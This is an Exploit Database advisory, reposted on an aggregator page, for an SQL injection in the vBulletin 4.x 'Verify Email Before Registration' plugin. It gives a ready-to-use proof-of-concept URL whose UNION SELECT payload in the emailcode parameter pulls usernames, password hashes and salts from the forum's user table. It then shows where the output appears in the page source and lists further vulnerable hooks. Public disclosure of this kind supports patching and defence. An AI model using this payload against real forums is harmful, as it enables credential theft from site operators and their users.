vBulletin 4.x Verify Email Before Registration Plugin – SQL Injection

• Exploit Database
• 108 阅读

• 作者： Dave
  日期： 2014-09-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34717/
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  #Title: vBulletin Verify Email Before Registration Plugin - SQL Injection #Date: September 19 2014 #Version: Any vBulletin 4.*.* version which has the plugin installed. #Plugin: http://www.vbulletin.org/forum/showthread.php?t=294164 #Author: Dave (FW/FG)   The vulnerability resides in the register_form_complete hook, and some other hooks. The POST/GET data is not sanitized before being used in queries.   SQL injection at: http://example.com/register.php?so=1&emailcode=[sqli]   PoC: http://example.com/register.php?so=1&emailcode=1&apos; UNION SELECT null, concat(username,0x3a,password,0x3a,salt), null, null, null, null FROM user WHERE userid = &apos;1   Now look at the source of the page and find: <input type="text" style="display: none" name="email" id="email" maxlength="50" value="[DATA IS HERE]" dir="ltr" tabindex="1"> <input type="text" style="display: none" name="emailconfirm" id="email" maxlength="50" value="[DATA IS HERE]" dir="ltr" tabindex="1">   Vulnerable hooks: profile_updatepassword_complete (Email field when you want to change your email address after being logged in.) register_addmember_complete (After submitting the final registration form.) register_addmember_process register_form_complete (This example) register_start (Email confirmation form at register.php)